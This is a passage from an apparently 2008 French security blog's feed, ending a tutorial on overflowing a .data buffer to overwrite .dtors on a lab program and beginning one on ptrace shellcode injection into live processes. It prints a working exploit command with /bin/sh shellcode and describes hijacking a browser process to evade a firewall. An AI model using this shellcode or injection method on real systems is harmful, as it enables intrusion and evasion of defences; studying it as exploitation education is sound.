/&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.eh_frame           0x4   0x8048440&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.ctors              0x8   0x8049444 &lt;/span&gt; &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;---&gt; constructor &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.dtors              0x8   0x804944c&lt;/span&gt; &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;---&gt; destructor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;.&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;jcr                0x4   0x8049454&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.dynamic           0xc8   0x8049458&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.got                0x4   0x8049520&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.got.plt           0x18   0x8049524&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.data             0x120   0x8049540&lt;/span&gt; &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;---&gt; Section .Data contenant le buffer vulnérable&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.bss                0x4   0x8049660&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.comment          0x177         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.debug_aranges     0x50         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.debug_pubnames    0x25         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.debug_info       0x1cd         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.debug_abbrev      0x6f         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.debug_line       0x147         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.debug_str         0xcf         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.debug_ranges      0x40         0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Total             0xbc7&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor &amp;amp; Destructor).&lt;br /&gt;Il s&#39;agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du&lt;br /&gt;compilateurs gcc.&lt;br /&gt;Elles  permettent l’exécution de fonctions avant l’appel à la fonction&lt;br /&gt;main() et avant le dernier exit() du programme .&lt;br /&gt;( c&#39;est a dire qu&#39;elle le construisent et le détruisent a la fin ).&lt;br /&gt;&lt;br /&gt;Ainsi, en faisant déborder le buffer vulnérable de la section .data nous&lt;br /&gt;arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre&lt;br /&gt;programme.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;----------------------------------&gt;&lt;/span&gt;&lt;br /&gt;Organisation des Ctors et Dtors:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xffffffff &lt;adresse&gt; &lt;adresse&gt; . . . 0x00000000&lt;/adresse&gt;&lt;/adresse&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;----------------------------------&lt;/span&gt;&lt;br /&gt;Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes  en mémoire .&lt;br /&gt;&lt;br /&gt;Dans vuvu.c , la section .dtors est justement vide :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;----------------------------------&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[kmkz@localhost &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Data&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;_overflow]$ objdump -s -j .dtors vuvu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;bss2:     file format elf32-i386&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Contents of section .dtors:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; 804944c ffffffff 00000000  &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;----------------------------------  &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;----------------------------------&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb) disas main&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Dump of assembler code for function main:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048344 &lt;main+0&gt;:    lea    0x4(%esp),%ecx&lt;/main+0&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048348 &lt;main+4&gt;:    and    $0xfffffff0,%esp&lt;/main+4&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x0804834b &lt;main+7&gt;:    pushl  0xfffffffc(%ecx)&lt;/main+7&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x0804834e &lt;main+10&gt;:   push   %ebp&lt;/main+10&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x0804834f &lt;main+11&gt;:   mov    %esp,%ebp&lt;/main+11&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048351 &lt;main+13&gt;:   push   %ecx&lt;/main+13&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048352 &lt;main+14&gt;:   sub    $0x14,%esp&lt;/main+14&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048355 &lt;main+17&gt;:   mov    0x4(%ecx),%eax&lt;/main+17&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048358 &lt;main+20&gt;:   add    $0x4,%eax&lt;/main+20&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x0804835b &lt;main+23&gt;:   mov    (%eax),%eax&lt;/main+23&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x0804835d &lt;main+25&gt;:   mov    %eax,0x4(%esp)&lt;/main+25&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048361 &lt;main+29&gt;:   movl   $0x8049560,(%esp)&lt;/main+29&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048368 &lt;main+36&gt;:   call   0x80482b0 &lt;strcpy@plt&gt;&lt;/strcpy@plt&gt;&lt;/main+36&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x0804836d &lt;main+41&gt;:   add    $0x14,%esp&lt;/main+41&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048370 &lt;main+44&gt;:   pop    %ecx&lt;/main+44&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048371 &lt;main+45&gt;:   pop    %ebp&lt;/main+45&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048372 &lt;main+46&gt;:   lea    0xfffffffc(%ecx),%esp&lt;/main+46&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08048375 &lt;main+49&gt;:   ret    &lt;/main+49&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;End of assembler dump.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;---------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Adresse de notre buffer :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb) p &amp;amp; buf&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$1 = (&lt;data&gt; *)&lt;/data&gt;&lt;/span&gt; &lt;span style=&quot;color: rgb(255, 102, 0);&quot;&gt;0x8049560&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;--------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Adresse de la section Dtors:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb) mai i section&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Exec file:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    `/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu&#39;, &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        file type elf32-i386.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.....&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08049444-&gt;0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 102, 0);&quot;&gt;0x0804944c&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;-&gt;0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.....&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x08049660-&gt;0x08049664 at 0x00000660: .bss ALLOC&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;-------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb) x/2 0x0804944c&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x804944c &lt;__dtor_list__&gt;:      0xffffffff      0x00000000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Ça rappelle pas un truc ça ...?&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Revoila notre Section Dtors bien vide comme vu précédemment.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;-------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb) p (0x804944c+4) -  0x8049560&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$2 = &lt;span style=&quot;color: rgb(255, 102, 0);&quot;&gt;272&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;----------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Nous avons donc  nombre d’octets&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;informations pour exploiter notre programme.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;On utilisera ici  un shellcode de 18 Octets soit le calcul suivant :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; 272-18=254&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;B&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;uffer :&lt;/span&gt;0x8049560 &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;donc en little endian :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;\x60\x95\x04\x08&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Reste plus qu&#39;a rassembler les infos pour créer notre exploit :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[kmkz@localhost &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Data&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;_overflow]$  ./vuvu `printf &quot;\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x&lt;br /&gt;cd\x80&quot;``perl -e &#39;print &quot;A&quot;x254&#39;``printf &quot;\x60\x95\x04\x08&quot;`&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;sh-3.2$ &lt;/span&gt;&lt;br /&gt;On vois ici l&#39;un des avantages  de cette méthode  : Nous n&#39;avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire &quot;readable&quot; (ce qui n&#39;est pas toujour le cas .&lt;br /&gt;Parcontre , du coup , pour que Notre shellcode s&#39;exécute il nous faudra attendre la fin du programme  (appel a exit() donc au destructeur )  contrairement a une exploitation qui se déroulerait sur la pile .&lt;br /&gt;Et , rappellez-vous  au sujet des Ctors et Dtors : ce sont deux attributs du&lt;br /&gt;compilateurs gcc comme on l&#39;a dit plus haut .&lt;br /&gt;En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !&lt;br /&gt;Voila , reste plus qu&#39;a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .&lt;br /&gt;A trés bientot pour de nouvelles aventures :&#39;-) .&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;----------------------------------&gt;&lt;br /&gt;&lt;a style=&quot;color: rgb(51, 51, 255);&quot; href=&quot;http://membres.lycos.fr/profil4/kmkz/Data_based_overflow/vuvu.c&quot;&gt;Programme vulnérable &lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://membres.lycos.fr/profil4/kmkz/Data_based_overflow/Data_poc.pl&quot;&gt;&lt;br /&gt;Proof of concept (pl)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Et comme l&#39;été on s&#39;ennui :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 51, 255);&quot;&gt;&lt;br /&gt;&lt;a href=&quot;http://membres.lycos.fr/profil4/kmkz/Data_based_overflow/data-poc.c&quot;&gt;Proof of concept (c)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;----------------------------------  &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;See you .... o/&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/7960379329613969381/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/7960379329613969381' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/7960379329613969381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/7960379329613969381'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2008/08/heap-overflow-data-section-overflow.html' title='.Data Section overflow'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-4825322031287797225</id><published>2008-07-20T10:27:00.000+02:00</published><updated>2008-07-21T15:42:17.794+02:00</updated><title type='text'>Principes et mise en oeuvre d&#39;un injection de code dans un processus en cours via le syscall PTRACE()</title><content type='html'>Yop all o/ !&lt;br /&gt;Comme vous l&#39;aurez sans doute compris dans le titre , cet article va traiter (pas trés original comme sujet j&#39;en conviens) des injections de Shellcode dans un processus actif grace au syscall &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Ptrace()&lt;/span&gt; .&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;Commençons donc par une petite explication et mise en situation :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;---------------------------------------------&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;Avant tout un petit mot sur l&#39;environnement de test utilisé ici :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;# uname -a&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Linux localhost 2.6.22.19-desktop-2mdv #1 SMP Mon May 5 20:55:05 EDT 2008 i686 Intel(R) Pentium(R) 4 CPU 2.93GHz GNU/Linux &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;Le tout sans aucune modifications ,attention toutefois car il est ici  nécéssaire de posséder une pile exécutable ( on joue encore une fois avec la stack ) bien qu&#39;en y réfléchissant longuement , il peu etre possible de l&#39;adapté sur n&#39;importe quel OS ( d&#39;aprés ce que j&#39;ai pu lire sur phrack ;-) ) .&lt;/span&gt;&lt;br /&gt;&lt;---------------------------------------------&gt;&lt;br /&gt;-Il faut savoir que ce type d&#39;injection est souvent utilisée par les codes malveillants afin de contourner les sécuritées mise en place sur une machine .&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;exemple :&lt;/span&gt;&lt;br /&gt;Imaginons un poste de travail &quot;sécurisé &quot; par un firewall personnel ; en général ces programmes ont pour but de filtrer/bloquer l&#39;accés au net pour certaines applications.&lt;br /&gt;Cependant , supposons que nous voulions compromettre cette machine et faire en sorte d&#39;obtenir un accés sortant (on peu tout aussi bien vouloir faire autre chose , mais ceci est a titre d&#39;exemple hein ;-) ) , dans ce cas comment vas-t-on s&#39;y prendre ..?&lt;br /&gt;&lt;br /&gt;Sachant qu&#39;au minimum le navigateur doit posséder un accés sortant , nous allons donc injecter notre shellcode dans la mémoire utilisée par ce processus puis faire en sorte qu&#39;il poursuive son activité , comme si de rien n&#39;était .&lt;br /&gt;De cette façon nous pouvons utiliser les droits du navigateur et,donc avoir un accés sortant sans etre inquiété !&lt;br /&gt;&lt;br /&gt;Pour cela il sera donc nécessaire de ne pas tuer le processus en fesant donc en sorte qu&#39;une fois le pointeur EIP pointe sur le shellcode , l&#39;exécute puis se replace (POP / RET) de façon a reprendre l&#39;exécution du processus cible.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;Etapes a suivre :&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;1- S&#39;attacher au processus ciblé (&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;PTRACE_ATTACH&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;2-Attendre qu&#39;il stoppe (&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;WAITPID&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;3-Récupération des registres utilisés par ce process(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;PTRACE_GETREGS&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;4-Copie du Shellcode dans la stack (&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;PTRACE_POKEDATA&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;5-Redirection du pointeur vers le début de nore Shellcode (&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;PTRACE_SETREGS&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;6-Se détacher (&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;PTRACE_DETACH&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;    Néanmoins,, il se peut que le processus ait été  interrompu par le ptrace (&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;PTRACE_ATTACH&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;) alors qu’il exécuté un appel système.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Dans ce cas, le noyau décide de remettre l’ex écution a l’endroit ou elle a été interrompue, c’est-a-dire l’appel système. Sous Linux pour x86, un appel système est déclenché́ par l’instruction&lt;/span&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x80&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;, codée sur 2 octets.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Avant de rendre la main au processus, le noyau modifie donc le registre eip, en lui enlevant 2 octets. Or, nous ne souhaitons pas que l’exé́cution reprenne la ou ne se trouve pas notre shellcode!&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Pour compenser cela, on ajoutera&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; 2 Nops (\x90)&lt;/span&gt; &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;au début du shellcode (et on oublira pas de modifier la valeur dans la boucle au passage sinon elle n&#39;enverra pas tout le shellcode ).  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Voila, on peu désormais passer a la pratique .Dans un premier temps je détaillerais donc  les différentes étapes , puis je  vous donnerais le code &quot;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Shell_inj&lt;/span&gt;&quot;  (Shellcode injector quoi -_- ) .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;(Ce code est déja suffisemment commenté pour vous permettre de le comprendre facilement)&lt;/span&gt;&lt;br /&gt;   &lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                -- Nous allons , dans l&#39;exemple suivant , injecter un dangereux  shellcode (Hello , world! :-) ) dans un processus cible (ici bash sera la cible) -&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;On commence par récupérer son PID:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[kmkz@localhost Bureau]$ ps aux&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Ce qui donnera un listing assez long (top pour etre mis ici en entier en tout cas ) .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Nous , on s&#39;intéressera donc a ça :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;kmkz      7178  0.3  0.1   4324  1920 pts/0    Ss+  10:58   0:00 bash&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Bon , on a le PID reste plus qu&#39;a s&#39;amuser now ! \o/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Je suppose que vous savez déja utiliser Gcc et donc ne reviendrais pas la dessus ..&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Lançons le programme Shell_inj en lui passant en argument notre PID et voyons ce qui se passe 